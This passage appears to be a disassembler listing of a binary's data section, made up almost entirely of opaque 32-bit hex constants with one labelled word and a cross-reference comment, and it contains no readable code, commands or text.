		dd 0B73E24DCh, 930F0364h, 40807919h, 880001E2h,	0AAB45B32h
		dd 0AE087F2h, 48CB9DB7h, 27A800C8h, 3C10AF1Dh, 0A37DAA00h
		dd 66D58886h, 914600FDh, 0DA4580Eh, 6800DDD4h, 0AC25A6EDh
		dd 2874DC3h, 0E6C12E06h, 91805460h, 6E7F97BDh, 6741A902h
		dd 0E923ABF4h, 3DF8A7E8h, 2A6CC7DAh, 3547D034h,	0F500FAD3h
		dd 0FE95DE5Ah, 0F2B83h,	0DB17A894h, 84BAE166h, 136E6409h
		dd 3D700372h, 2E35C08Fh, 97D40092h, 0DF4E077h, 413C3323h
		dd 7B87Bh, 21E42B4Ch, 58F09588h, 6A3A4AAEh, 0E880173Ch
		dd 2BC27A69h, 9E009FD9h, 3B8A65Dh, 0C413897h, 0A81DF846h
		dd 2D75674Eh, 0C50E7B00h, 160198B9h, 781C02F5h,	277720EFh
		dd 95960460h, 48137F00h, 8C72DE30h, 190102E5h, 3E752124h
		dd 2D2FB880h, 4D40D8C5h, 0B9EF03C0h, 32E393C8h,	956ADAE0h
		dd 0A583DC00h, 1F471927h, 0D550063h, 0C47EF086h, 0CB1D54EDh
		dd 57404F64h, 5C22CE26h, 8D0602A0h, 74D6BC75h, 0AB09A20Eh
		dd 122C509Eh, 0E812087Ah, 0AC382670h, 2FC32D80h, 9B6F58h
		dd 0B52A69BEh, 4CC20D61h, 0F8034712h, 8B638C02h, 1B45015h
		dd 4B9C54B0h, 30A9961Ah, 9800468Dh, 0A4FCFD03h,	50ACD2F1h
		dd 97B8F8h, 9B7462F2h, 2EA719EAh, 0CA00E0F6h, 1273417Ah
		dd 4021009h, 0FE34C02Dh, 80C1C5DCh, 68E745FBh, 7B755E90h
		dd 1A004DEEh, 0BC874F58h, 0B91683h, 170ADFC1h, 0DE78F5BFh
		dd 0C6E25201h, 0F7452284h, 496F8h, 10D8B736h, 4866C5ABh
		dd 0D6130900h, 600B4C0Dh, 6BCC0080h, 0DE828327h, 1600A951h
		dd 0C7C69C30h, 7793DCh,	0BB8A02A6h, 0F465574h, 0FEC8CC00h
		dd 3CA324D8h, 6CE10056h, 0B79B4ADh, 0B57A231Dh,	0F1F7FF2h
		dd 0C6400328h, 0D8046FA4h, 59D90937h, 64A006F9h, 0EFEC8CB1h
		dd 25BD8F01h, 246FD0E4h
		dd 1E8E4EAh, 4F961439h,	303DB4D2h, 0B4C574Fh, 7C370114h
		dd 0C4510E98h, 1D8420h,	9617D8D5h, 469F058Fh, 0BED6E700h
		dd 4260710Bh, 749A2421h, 884C1294h, 9371443Ch, 0EAFD4800h
		dd 6708730Ch, 117284h, 0A3E42C2Ah, 40486028h, 8EA83500h
		dd 6B4209B9h, 0FCC20065h, 2275F7D1h, 7A00BB1Dh,	0B5EDC894h
		dd 0F2CC24h, 4466BE8Eh,	0FD1B6A03h, 59815100h, 0E423C2C1h
		dd 0E2B10E4Bh, 0C808363h, 0E7996BB6h, 0A45EE01h, 7129A685h
		dd 0A0527CECh, 0DE14B8h, 0DDAB9982h, 85A9FEE0h,	40715500h
		dd 0E6D4C818h, 6F1000EDh, 0ECBC098h, 1700DA2Eh,	617AA1C3h
		dd 1FC12Ch, 0E772F1E8h,	9169330h, 1048B940h, 8DE317h, 11F4F355h
		dd 0A3494Fh, 256B9950h,	0BD66FAA0h, 0EBCABB07h,	9CA0DAE6h
		dd 31B24Ch, 1C6DF4EEh, 1A699F1Eh, 10945901h, 5CE9ADEAh
		dd 2691E820h, 80F4F5B5h, 6C459ABh, 0DC00EDCAh, 85FEC0Bh
		dd 29CB9772h, 82B86A84h, 3C7F741Bh, 7E5FDC40h, 0D69D8000h
		dd 6EB958D8h, 703F455h,	4BA8620Fh, 0D9DF328Bh, 2B1E7C40h
		dd 0B4F6BA00h, 18DE24D0h, 5B4D0092h, 601E1E8h, 0EB00C7B6h
		dd 3F79CC45h, 755C3Ah, 436F556Dh, 0DDBBA162h, 0C004D973h
		dd 57797F38h, 2A971880h, 0C9930011h, 0AEF4A2DEh, 650067ABh
		dd 0D50FA9ECh, 0B33A37h, 0CBF8424h, 8030A141h, 0CA03BA00h
		dd 4B611750h, 0B8E500F2h, 949F93A4h, 9098CB73h,	0DA80B20Bh
		dd 0F2948075h, 3CC55351h, 902AB9Dh, 0C2F0EDCCh,	0E907E870h
		dd 3E027BFEh, 315078D0h, 4AF21461h, 0A51EB88Eh,	0B90E605Fh
		dd 42E3C2B3h, 70FE8DE9h, 7D7400FCh, 7C25F11Dh, 4400403Bh
		dd 2F60884Ch, 7A1B76Eh,	1E9DCA9Ah, 0D37CE08Fh, 0D707AD41h
		dd 0CB3C8DFDh, 48167CECh, 0FC00BCA6h, 0A273BF35h, 1F5CB2B3h
		dd 8632006Ch, 4BB17696h, 27E600ABh, 668C6D84h, 175C55EEh
		dd 26CC01ACh, 0D857FED5h, 0DEF5F170h, 23EA07B0h, 0A93FC14Dh
		dd 62DE40A3h, 0C760D2Eh, 7C17F03h, 0C3BB1Ch, 6E609AC8h
		dd 7828084Bh, 3FE41A1Fh, 0BF3C2E03h, 76800B8h, 0C597BC42h
		dd 0D273E851h, 116EC700h, 0E250A657h, 0B4E9021Dh, 2AA03614h
		dd 0A3824343h, 0E4104078h, 0F7040186h, 0A0FCCA05h, 0EF1FB3E8h
		dd 60C067A3h, 5C6B013Eh, 4FA4005Fh, 0D4BDD52Eh,	0C51E49EDh
		dd 0FEB0E0h, 0FF83CBD6h, 7AF6Ch, 0C17645F3h, 0B319BB2Fh
		dd 0A9576D0Ch, 3B48D0CEh, 0A2009C49h, 0EC8BC8EBh, 80170FBDh
		dd 0CAE840FEh, 66976200h, 0D55F9347h, 8914CA00h, 0BFB90BDFh
		dd 0F86E6BBh, 0C7B7932h, 3BE427A0h, 3100E890h, 0ACA07137h
		dd 3FC7FDDAh, 0DB00A874h, 0FCF8EBD3h, 96FE58h, 8AD11377h
		dd 418E0200h, 6EABC70Dh, 276F09ECh, 4004A9Ah, 6DB4B8E2h
		dd 0A2A50203h, 0BA49C5EAh, 0E1058FAh, 0ECF1D983h, 8FF42F29h
		dd 0F8C0410Ah, 0DD205E00h, 0D6958Bh, 44607F1Eh,	146CC24Ah
		dd 6E1AE80Ch, 2620604Ch, 804487B5h, 61F37375h, 0EE048DD1h
		dd 0B8F4703h, 91E494C0h, 13EA0262h, 0CAA687F1h,	0B15EE4A0h
		dd 5500F9D0h, 0A91B22ABh, 0B4B3812Eh, 664B00D4h, 0DDDB23F5h
		dd 0FAED4A03h, 398F628h, 832B31F0h, 35E0BD15h, 660086B1h
		dd 0BB77A34h, 98C9E426h, 3035838h, 0CC73E914h, 13D3DF01h
		dd 52C638FBh, 0A3C0F4C4h, 0C7013014h, 6A898320h, 9FD0CC6Ch
		dd 0B9D4008Ch, 0F26DE242h, 0A2096005h, 842DAD13h, 60E020B9h
		dd 0DACCA0A0h, 71020037h, 80A16984h, 0CC0E6898h, 830B62h
		dd 46EF0A2Ah, 8D200029h, 108F42F8h, 0C45C0F43h,	2ED1809Ch
		dd 2E2303DEh, 4384AE89h, 9AA82D54h, 3C0AD0B7h, 0DC09CB4Ch
		dd 0E142C0Bh, 21B9812Ah, 60CC33F7h, 2F94006Bh, 268F652Bh
		dd 8148CE66h, 0A76717C0h, 0A0C05C80h, 0A29C0FFDh, 6080DC9Bh
		dd 0CAAA774Ch, 7CB53F02h, 0D0D1D0A6h, 0CCCB0014h, 0B9D3D2Ah
		dd 0F630E7DEh, 1FF018AEh, 17FE42h, 0B1041C35h, 6F43A64Ah
		dd 75B7153Dh, 0E1127E01h, 89ADF949h, 16430h, 3F1D5398h
		dd 63E739AEh, 1190F862h, 0AC6483h, 66DA59E0h, 0ED0E1BADh
		dd 0FF2A4D00h, 413B5354h, 3A981E5Ch, 8C498023h,	9CAC32B7h
		dd 75E5CD3Bh, 6ABAA400h, 0D91388B6h, 0F8830003h, 0F77A5C4Ch
		dd 8A039592h, 0C1A327C6h, 0B7DFC08Fh, 0D7B0A077h, 342D1DD3h
		dd 0F5B44156h, 201040EBh, 0B0005F8h, 2E2AE1Eh, 0B681CDBDh
		dd 871610h, 0A01FBC88h,	17001188h, 509CF591h, 7A32FC8h
		dd 0F65853E8h, 6503B04Dh, 5200AC8Ah, 0FC2AD851h, 76BE3AA8h
		dd 6E550095h, 0B3DC1115h, 8425DB4Ah, 2C400A7h, 1C1706Ch
		dd 91D6C389h, 0F1E91EE3h, 122E841h, 0F0920F2h, 7A13CEh
		dd 0F1DD62BAh, 3DDA00BBh, 7FC9F7E2h, 0A0036740h, 0FDCAEF20h
		dd 3370D79Bh, 141CDDCh,	0CE296B08h, 0EC2AC3F0h,	6F0018E0h
		dd 2B529121h, 0CFC0CCh,	2D1B7C32h, 0D01D155h, 24E98F14h
		dd 0EA4A00C0h, 1880ECF3h, 59D82811h, 0B3933FA4h, 6BD0BB85h
		dd 0F8C0EE30h, 191CFABh, 3885A090h, 0CC431A56h,	0B417BCD0h
		dd 0C60929BEh, 600E05h,	0C92EE819h, 4A0260Bh, 4C3A0860h
		dd 0C2DC91A5h, 0A57E6310h, 148DBC26h, 830C8980h, 47A92D2h
		dd 0B78B1E1Ah, 0EC3080FBh, 489E18CBh, 0AD03BF1Eh, 2E2533Fh
		dd 0BA11D349h, 88E07508h, 8000FAB6h, 0F2230DF5h, 7AFBF18h
		dd 0D5CBFE0Ch, 0F172F0Bh, 122A14ECh, 83BE3FE1h,	0C1916680h
		dd 3C099803h, 716BCD07h, 0B641C6BFh, 60DAA678h,	0C0F7445Fh
		dd 0EE989C90h, 0D897F4E2h, 0B03148F3h, 0DB88A400h, 0A685130Ch
		dd 0E0705C00h, 0D69CF2F7h, 0E5F72F4h, 9C987E9h,	1A2CD720h
		dd 7C0681A1h, 0CBC13FDCh, 5FE01698h, 8F042314h,	1134D08Fh
		dd 36007C78h, 7F9C3DBFh, 0FDE0B6h, 299110EDh, 9096C0F5h
		dd 44336F00h, 0E3A27F80h, 0DFA500A1h, 32192359h, 6F010131h
		dd 0C22FA74Bh, 17F1744Ch, 4C403070h, 9F0978AAh,	960E2B92h
		dd 59153F00h, 0A1010F9Bh, 8328E519h, 8C7D7480h,	110565E0h
		dd 0F8E64002h, 0D0D47C85h, 8E8B002Ch, 8CC83564h, 0DFE27FB1h
		dd 69F80918h, 72B938h, 0EDA0A1E9h, 0A5F99C47h, 400F4F4h
		dd 0CE4B1DA2h, 307C5A8Dh, 1430C815h, 627EB068h,	94958300h
		dd 5EB3FF7Eh, 82DD0943h, 1058AF47h, 0A9882Dh, 74F653B0h
		dd 0DEFB178Dh, 42880035h, 2B38A8E1h, 0E32CE400h, 51D511C7h
		dd 876D005Eh, 58231EDFh, 2F1F9C64h, 74437040h, 0E0D79D97h
		dd 3F0A20C9h, 0E700C0E9h, 8F9610F1h, 0AB009A6Bh, 0E24184DDh
		dd 0D80346h, 4D7308D4h,	78D10A86h, 0F52BB000h, 34E42401h
		dd 5EEF00DDh, 51270CB9h, 4700785Bh, 0DC09318Bh,	28AF4950h
		dd 0A03E69h, 4691BA07h,	0A4286FC0h, 883B1728h, 1E789C00h
		dd 0B84BF388h, 0D03403D4h, 0C05BF416h, 0DBA4C0ACh, 0CA79C75Dh
		dd 81950400h, 434FC9B2h, 2B09423h, 0A98ABBC2h, 0E70B44E6h
		dd 809715FAh, 0ACCEDC04h, 0D4500770h, 0CB7B455Fh, 8257414h
		dd 6D5400F8h, 6AF44Fh, 8B7A5684h, 0A19A7D67h, 0AD40289Eh
		dd 47EFB8h, 7E4A2A6Fh, 6B41D128h, 1CA86807h, 0C1E055F2h
		dd 982DCF87h, 89F900F1h, 0F4341A58h, 6D98837Dh,	0B79281Fh
		dd 6E073600h, 1FDCD72Ch, 813B333Dh, 54CB7EB0h, 0DE06ECFh
		dd 7173050Bh, 0F0DCDB59h, 9F502DECh, 817DB148h,	32D43607h
		dd 0DA50942Bh, 0EC273304h, 10EA00E2h, 0AA6EF419h, 0D00F0DDDh
		dd 4F11AF01h, 5C9FA12Eh, 1BDDC323h, 5957A060h, 0A00080CFh
		dd 9C4D90C7h
		dd 0AB00F28Ch, 5679C677h, 0E4E143h, 0D798357Fh,	2A335BCDh
		dd 80FB1190h, 0A37E8E9Ah, 5A3092h, 0D0AB95E2h, 49813CAh
		dd 878A3F3Dh, 0F7C03D9Fh, 0A4D528B0h, 56D700D8h, 5BDD456Bh
		dd 93032DE6h, 74CD6C8Eh, 0BF809816h, 0BC2400A4h, 22A2D71Bh
		dd 0D000E56Bh, 869EDF9Bh, 917C4Bh, 0EE3A1D96h, 6E3F71A7h
		dd 0F1A4FA00h, 0E1CEE840h, 235D0094h, 418018C2h, 545BD858h
		dd 0BB7DD802h, 0DAB203D4h, 0AB566FB0h, 0E05451CFh, 67D9D72Ah
		dd 0EFB0005Dh, 354B5905h, 4E007E73h, 0CF27C9AAh, 77C8428Eh
		dd 89EE3C0Fh, 0C329A8h,	0C5AEE96Ch, 495276F6h, 301BE224h
		dd 0FB1A1400h, 38267284h, 852E4C39h, 0D7310085h, 0AA49276h
		dd 0D0E4AC98h, 92085F38h, 0DE034A26h, 0EDFACB85h, 52509843h
		dd 0E7792C69h, 4A290F3Ch, 1F682876h, 0AAD8F00h,	432B407Eh
		dd 226E00F3h, 34F9861Eh, 0F0031E9h, 0F25CA389h,	0E6604Fh
		dd 1033AB1Ah, 0A2859AD8h, 62485500h, 0BF49B632h, 80E912F5h
		dd 2A0CE06Eh, 0ED302E81h, 0C9E11CD1h, 8B5A00E3h, 699CAB39h
		dd 0F1AF610Eh, 200597EEh, 0F7C7834Fh, 906344C0h, 117A96h
		dd 0F19E68F2h, 5038BC98h, 983359h, 0F4F6CA9Ah, 0F313B82Bh
		dd 205E824h, 4E8C3AE8h,	6861EB4Dh, 0FD8B70A6h, 38EFAB50h
		dd 0E90089F2h, 535F7CC8h, 2F70D72h, 76E41A8Ah, 9DE0AE4Bh
		dd 0A50C634Ah, 907CA133h, 8FAC1FC8h, 0D953BAh, 2A1516FCh
		dd 0C90963C7h, 0A04E8494h, 4D271210h, 0CCBA0121h, 0E164E426h
		dd 0DEA260A6h, 9AEAEB1Fh, 78C69C40h, 7A54845h, 6422E168h
		dd 753420BEh, 6C27E814h, 3EE40046h, 185BCh, 28B0026Bh
		dd 781C0C40h, 0C3EEE371h, 66168F00h, 6DF843C1h,	0FDF44Ch
		dd 9F737A55h, 84F379B5h, 14AAB825h, 1F4900DCh, 433D4F8Ah
		dd 5E1389CEh, 0B375h, 0A123253Ch, 0A8505C11h, 0DE21C300h
		dd 2FFCD846h, 0C1595403h, 8258CE5Fh, 258440CDh,	0CB45008Dh
		dd 89D63466h, 1302076Ah, 0EF2CFDD0h, 87AAE051h,	6C7D0Ch
		dd 0CD1848ABh, 0A359E163h, 8324F403h, 0A079C852h, 0E85DEh
		dd 0B975EE21h, 3B59C99Dh, 62631400h, 0FC9A5FDFh, 0DC490058h
		dd 878E066Dh, 0C31DB066h, 374B2C44h, 7E706035h,	18AF674Fh
		dd 0F090A70Fh, 524B3C86h, 0D78FE200h, 0F58AC0CBh, 5F43887h
		dd 80E0A52Eh, 0AB0123ACh, 5F001754h, 0DC7297A9h, 16F95041h
		dd 0FFE2BD6Ah, 31016C1Fh, 190593Bh, 215FC8h, 0C24B2A83h
		dd 8DC009D2h, 33E84A00h, 40781AC8h, 90100067h, 29879EBFh
		dd 20B2B2EAh, 0A1EF206h, 11486Ch, 0D64D7F93h, 0ADB26FB8h
		dd 2EC0E00h, 9053221Eh,	0A417C6Ch, 0FB445A45h, 6D650EF4h
		dd 0D31385E0h, 14256428h, 14C4E542h, 0A92488ACh, 9882064h
		dd 0A2AAE048h, 9D01CC78h, 9FF01F87h, 0DD8F20E8h, 0AE8EE410h
		dd 0D0BE39A0h, 211264F3h, 500273DAh, 546BF32h, 0B60888C8h
		dd 7BDB6102h, 40AD87DFh, 3D7D1C4h, 0FF512EBEh, 0CFE80E40h
		dd 0EFE88CC1h, 0BD397B3Ch, 4BDA006Ah, 616A612h,	40B81E47h
		dd 0F6977B33h, 578A006Ch, 0D4FBA9BEh, 4873E23Fh, 430C7398h
		dd 0C0908F42h, 6B28C06Dh, 5B0C1492h, 0C0593C26h, 1955823Dh
		dd 0FCDFEEA2h, 32580088h, 7FD6CC0Ah, 0B7BFAD00h, 0CDB38D6Bh
		dd 589490F2h, 3C0094A5h, 920EED6Ch, 5C1368A7h, 8080BA86h
		dd 461F54h, 0A41CEB60h,	15C4C2B7h, 58803C00h, 2DFD9388h
		dd 0D82B02D4h, 6ECD8B7Fh, 0FAB64AC3h, 0FAEC2103h, 88B2A85Eh
		dd 53F427h, 25D8F656h, 9FD788E4h, 21918F09h, 6B64A00Bh
		dd 0BA4A46h, 27F12F0Dh,	15D4DA1Ah, 5DA48295h, 81A47906h
		dd 0F16EF8F2h, 32B7F846h, 56179200h, 0C7D9AD52h, 2C1A28EEh
		dd 0FEC400C4h, 0E8A660AFh, 8400C208h, 35C91CE6h, 0CF9F8Eh
		dd 675BF275h, 2B6F45E2h, 4D4C951Fh, 76468CFAh, 0B170BAh
		dd 0FEA37D88h, 0C731ACC2h, 0E60FC598h, 606A41CEh, 788B0991h
		dd 35133F66h, 77587860h, 0BD0AD7D2h, 0BBD6044Ah, 0E499E203h
		dd 7B62E833h, 44E8F8h, 0E4C083Bh, 0ED25CCB9h, 4E531F00h
		dd 0C604F6FBh, 990A0037h, 280141F0h, 38008BBAh,	1D1178DCh
		dd 8F5BAAh, 4F06AC70h, 0B018E998h, 0D400A074h, 0CBF72623h
		dd 7F44A3Dh, 0DD25A7E4h, 6B4640AFh, 0C7519C0h, 42776A03h
		dd 0F02DA5A9h, 1F23B194h, 7DF96DCh, 0FAEDD6h, 8CC505E2h
		dd 4C43DA00h, 0E306BA74h, 89853EB0h, 191B9600h,	0E8AC66C3h
		dd 0A32838h, 0C069121Ah, 0D4BCDFh, 4604D905h, 963A7350h
		dd 72B04409h, 0E0606BEEh, 0D23478h, 0E5881CABh,	62F216Ch
		dd 91016176h, 74BA8316h, 8BECCBD6h, 7BBC48AEh, 1C55A500h
		dd 0A9BD3C5Eh, 0C369D000h, 2A04809Ch, 4BC8B8AEh, 50004014h
		dd 4940BFD8h, 9567BB07h, 20CF7CA3h, 0B3CEE456h,	71BD16D2h
		dd 0B68403Ah, 9D4E2086h, 0FC204C9Ch, 780032EAh,	0A23CA157h
		dd 988564h, 0CDE2EDB3h,	9113D2C3h, 0C76C600h, 43A8F0A7h
		dd 1F83FEB4h, 80EC5B57h, 4A0B8611h, 190092EFh, 1D3ED39Ah
		dd 14103BDh, 624EC235h,	68755CB1h, 34900004h, 19DC784Ah
		dd 89713E2h, 0F2400593h, 0F3C28069h, 5050B1F0h,	28308A18h
		dd 0F9DAC14Ah, 0D9620015h, 0E8DDE89h, 0A50158E8h, 1A7479D7h
		dd 1C4151B1h, 0E2D0D8CAh, 0A509000Eh, 1EBBF21Bh, 4106D9CCh
		dd 0FA35972Ah, 56110028h, 0FE0ABC74h, 0DE00E1D8h, 0ECF81BCEh
		dd 28B12A6Ch, 0FB40BD8Bh, 0D98A2087h, 5BA3536h,	56B00Ch
		dd 2A21F43Ch, 4100D3B4h, 0E0ECCE1Bh, 158A44h, 4649A0D6h
		dd 0CCCBCFEh, 8847000h,	121C6CB8h, 53BD0010h, 1A68935h
		dd 0D400C6FFh, 0DD3EA56Fh, 1D1DF3F5h, 81117D3Ch, 0E7B316AFh
		dd 80E1C8D4h, 84D8FC03h, 89127295h, 0E83453B9h,	86393999h
		dd 81B05589h, 0ED69F700h, 3261C93Dh, 739B42B9h,	0BE913C11h
		dd 189A3E39h, 0D502002h, 0F6B9805Eh, 0F09998A9h, 0A6177B54h
		dd 1FF7858h, 8674E491h,	73CAC49Bh, 58F438D3h, 595160B9h
		dd 0AF1991F9h, 0D7205B00h, 25BF4393h, 5CB00EFh,	54E73C21h
		dd 0EB00EDEEh, 0FBDDFF69h, 304F10D3h, 259947D7h, 90D1EEh
		dd 0F9DEC10Eh, 3E08F9B0h, 0C60B218Fh, 0E02E1A20h, 21003246h
		dd 845C42B5h, 0FF677Ch,	720E2CB4h, 8E119D60h, 0A9C415E2h
		dd 108082EFh, 321AB57Fh, 2A09964Ah, 0CF7B0878h,	0A8CDD000h
		dd 7450A2E1h, 14BB00DDh, 52FF4748h, 0E3A3018Ch,	6FBDD888h
		dd 24632100h, 574E4B15h, 4A330336h, 3E809747h, 2BEE6C1Eh
		dd 0CE887680h, 0FC5243h, 0DC8D702Ch, 0A7F42948h, 0F0B85900h
		dd 0DF799BA3h, 231C268Ch, 37080055h, 96E49329h,	0BBB18B00h
		dd 0FEA6DBE7h, 0B5400067h, 4944E647h, 79EAF042h, 0AD0D9600h
		dd 0C52D9E5Fh, 0D9870061h, 0C4D547E9h, 6300F8E3h, 53A1BEEFh
		dd 1F2CA879h, 0C136D3F3h, 0CF70ECD0h, 0ACAC60ABh, 0D6484600h
		dd 56FC98AEh, 0B92500F8h, 6443B5ECh, 0B000031Dh, 845FD85Ch
		dd 7F05C6h, 5709ABD5h, 9B7D6C95h, 6922E200h, 0D236AE9Fh
		dd 0D5E4C006h, 0DD752AA9h, 8017727Ch, 0FAA476h,	9BE0DB42h
		dd 1B03ED8h, 0C9B39C0Fh, 355E07C1h, 0E78DE0AFh,	0E8CD4AEh
		dd 6FDD732Eh, 4E98A2E0h, 0C200AFDAh, 0AB9E67EEh, 282919h
		dd 0CD3FC192h, 4A10598Fh, 0AE7BDF00h, 0C7B594B8h, 487401B2h
		dd 0BE7F1DD5h, 7762F015h, 711E2E98h, 80BC2668h,	72C467EDh
		dd 0F12075C6h, 0F9560F8h, 92DE54D1h, 81D90700h,	0EE3CEDE6h
		dd 0D4778FA8h, 4788AABh
		dd 56C88557h, 60AC00A8h, 0AA3AF624h, 6A00B073h,	107D9FDEh
		dd 0C70D9Bh, 0CB44A6C8h, 0C5460CEh, 0B6283B62h,	64012267h
		dd 0A321B224h, 6D321131h, 117FC111h, 55113AFEh,	0AE7988DFh
		dd 89F2BB6Ch, 0EB1442EAh, 14F4288Fh, 21780211h,	0C87E39F6h
		dd 0A442E651h, 3B022266h, 25123122h, 5780E22h, 514E30B1h
		dd 0D7503Fh, 0C56598ECh, 0DDEDF26Fh, 0C77BD200h, 7AC2F019h
		dd 2E13FC54h, 0B59A97h,	9BD9466Ch, 433E59BFh, 547983EAh
		dd 0D8B59142h, 3C536201h, 46AC757Eh, 394C003Eh,	8B5A29E8h
		dd 1A83EA00h, 0E17DDC28h, 81900A8h, 0D06699F2h,	1500B905h
		dd 9C3DAC61h, 307D07B2h, 0EE645E79h, 5F00D225h,	0F2D5784Fh
		dd 69B759Eh, 380B6C91h,	130010D9h, 36597148h, 5AB7D6Fh
		dd 1DCEA12Ah, 0C0DE844Ah, 22F625C0h, 63FEC101h,	8E483FAEh
		dd 181424h
		db 0C3h, 4Ch
word_4D4152	dw 0D7A3h		; DATA XREF: ___:off_42E644o
		dd 0A1D0DC57h, 0D15B7501h, 90E89B37h, 0C38060BBh, 0E8C919Ah
		dd 0B4187063h, 56408118h, 1F5F00F0h, 9B471CEAh,	0C0016DC1h
		dd 0E31383D5h, 0CBE02207h, 54580043h, 12EC25E7h, 0F700AD82h
		dd 0AF77C0D0h, 9A0CC11h, 8C0531C5h, 0B387F100h,	9100D0C8h
		dd 812F66F8h, 4C4194ECh, 0B600C532h, 4E7647CBh,	6C000225h
		dd 0BFD9169h, 2203CB5h,	0EED63A99h, 0D5C0A3C8h,	0A13C1511h
		dd 0AD46878Eh, 403FDC97h, 17A34E39h, 0C75C007Ah, 0AC69B2BDh
		dd 18004115h, 2282B51Bh, 280CC498h, 0C8D466h, 602B76A6h
		dd 58E2548Ch, 0D840CA00h, 43D103CBh, 0D980008Bh, 0F9FA6C7Fh
		dd 88008EC4h, 8352BD30h, 3D8725A5h, 0BF82277Ah,	9CD571BEh
		dd 497FCC40h, 0DC2D9701h, 32B485A1h, 0BC15E8DBh, 0FDD95C08h
		dd 0A3005C4Ch, 0A15A5053h, 18F4A579h, 83E6DB70h, 39542A02h
		dd 60DC8292h, 0F39F4173h, 0DDE44021h, 0BE1D0037h, 874B142Bh
		dd 3400C273h, 0D51A85E5h, 0A108F4h, 8B0FC51Eh, 7EB64CF6h
		dd 206E0491h, 631CA902h, 10200565h, 344BFCh, 4235E388h
		dd 20FBBEF7h, 0BB012928h, 0A41A8221h, 0FCC06275h, 0ABCC4C6Eh
		dd 0F663B800h, 6D5891C7h, 50106Bh, 6E65555Eh, 0AF87CDEh
		dd 0E2644947h, 7E7900F4h, 3B1DD32h, 2E8E5018h, 0A1D519h
		dd 0F9C2C437h, 4D7CBDA3h, 0FD7A6FEEh, 0AD540F00h, 0D80F18Ah
		dd 0EEB24CFh, 0C5310340h, 4698433Ch, 5E1FF5E0h,	0FD00CEEDh
		dd 1DA0DE48h, 0A4301D10h, 864B80EFh, 0B8798A2Ah, 0D988D707h
		dd 0B390C5CCh, 10B615h,	5B25CB33h, 0F1E1D6DAh, 0BD56833Bh
		dd 6A4C0081h, 8EB93109h, 0E62EFE30h, 6CEA66h, 0A82DA550h
		dd 6F5EABD1h, 0D0324D06h, 72113E5h, 6EF75B52h, 5D2AD036h
		dd 0B8127548h, 0B0003ABAh, 38EA327Ch, 742700BDh, 0C8534C92h
		dd 1003A71Bh, 0C22862F0h, 606B925Fh, 66E2C5h, 0EA703718h
		dd 0CBB59A53h, 60EBD8B8h, 3D1C85FEh, 0C8005B3Eh, 90374107h
		dd 95940002h, 87601CFDh, 683A113Dh, 0B1CC8097h,	8022C1Eh
		dd 2F230036h, 86EB62DDh, 0E38DBEDh, 0B45100FDh,	893A5F4h
		dd 0B87B97h, 350C6F14h,	71B09002h, 0C1079400h, 93FBCB42h
		dd 0F0AB3C41h, 40040E87h, 996D305Ch, 2F3F36CFh,	0D3B78356h
		dd 0F0E9689Dh, 3E3CD9AEh, 0D1022B40h, 7A466F58h, 4F9ADEC0h
		dd 5B004577h, 62037434h, 56CB040h, 945667E1h, 7BF44087h
		dd 1A53A835h, 5C3DD31Dh, 7E23C700h, 6026AEh, 0CDAFA7A9h
		dd 0E64C0ADh, 9562A000h, 10FF7A80h, 0D09B48A6h,	0C7604F00h
		dd 0F575ACBCh, 0BE024300h, 178BA30Dh, 0D62B1289h, 23DC0095h
		dd 49B0CA27h, 29367C03h, 0F3C9CFABh, 24E9E8FAh,	0E5A10252h
		dd 1E9211EAh, 36C8D043h, 6A011D49h, 51C2DDF6h, 14DC2CD4h
		dd 0B89864h, 0F139A2F4h, 33CDDFB9h, 2A957D00h, 36A0D794h
		dd 38C22C52h, 18070029h, 24648546h, 9FE30307h, 0E4E080D3h
		dd 0E40493Eh, 0BE04F20Eh, 830F27h, 0FC5F762Eh, 32E56803h
		dd 0D0A5F77Fh, 1236CEAh, 20C18AE0h, 873E09ECh, 40F81721h
		dd 0D254003Bh, 9A121963h, 7E3C00FCh, 1B49AE44h,	98C1907Ch
		dd 0BE2717DCh, 0E4F06BD0h, 0F09450D4h, 378900BFh, 2FED03Dh
		dd 0C306759Fh, 934795E2h, 54070020h, 0C5861762h, 91014CAAh
		dd 0ADB51444h, 1FF94AFDh, 0C779E0h, 0F105CA56h,	784215DCh
		dd 7F6B88C4h, 29486A20h, 30EA3C07h, 6C800BADh, 10D02B0h
		dd 68D0AF71h, 302076EFh, 0A35CC7CCh, 8AEA0030h,	5A05482Bh
		dd 2A4002Fh, 36917FDAh,	15000365h, 7E6E73Bh, 14ACD09h
		dd 2B46611Ah, 0FC7742BFh, 59005452h, 0AB75371Fh, 8D7F03h
		dd 9C9A8432h, 87148F2Ch, 35C54117h, 16B54700h, 890A0Ch
		dd 74B47939h, 0E61799DBh, 332EE501h, 825D7D46h,	98DFD88Eh
		dd 0A487CA03h, 2AB5A7E0h, 0CDFCBF00h, 49441A8Dh, 987604B6h
		dd 0C01E12E4h, 4C89A5F4h, 0EB02AC00h, 3A8D4D9Fh, 0EF658h
		dd 7E120393h, 5E684F2Ah, 226C890Bh, 0B00208Bh, 1413BEB0h
		dd 0A047E2A7h, 12006C4Dh, 0D7966938h, 0BA019E6Ch, 947D7581h
		dd 48802F3Fh, 0E5BE9D04h, 0AF053EC7h, 9BADFABFh, 0B85762C0h
		dd 0B793DA8h, 83F53280h, 2C516D8Fh, 3847BB00h, 1C926444h
		dd 40B8CEh, 0D36E2215h,	8ABB3520h, 0FA8A307h, 58302768h
		dd 51AF65h, 0EFF41AE1h,	37E78173h, 4D18BA1Dh, 0AF521D80h
		dd 3E8A208h, 3A067CD5h,	58050BFh, 0BA013E3Ch, 83552F78h
		dd 0F18549D0h, 0D04E6527h, 6BF4AEC8h, 0CAD538h,	95372ABFh
		dd 55C70Fh, 527DCD1Ah, 2F6A66A0h, 218F271Eh, 1503180h
		dd 0E81025F4h, 9A97C07h, 0D0C5846Ch, 51AE1400h,	0E200F5B3h
		dd 15E306B9h, 988F4217h, 8135000Ah, 77ACD029h, 0B8B1B6D4h
		dd 0B0CB521Fh, 0E0580F12h, 0DB10951Eh, 94C30076h, 7D20A968h
		dd 24B2E202h, 0F435AA39h, 148A2600h, 198CEDAh, 0AA905B7h
		dd 40280449h, 5D5981D0h, 0A4E84CF4h, 0E140D100h, 0AE9B0954h
		dd 0E5DC0070h, 91D98F5Bh, 0DB090FE7h, 0A7239BFh, 9F004036h
		dd 47093CE3h, 0E88200E2h, 32FF6A3Eh, 5A12CA8Ch,	41000879h
		dd 5DD5A5DDh, 0E3EA01FBh, 386B81C9h, 0CBF6D82Bh, 0AEB17A00h
		dd 0D237D64Fh, 982560C0h, 90A1C99Eh, 0CBA91709h, 0BD144098h
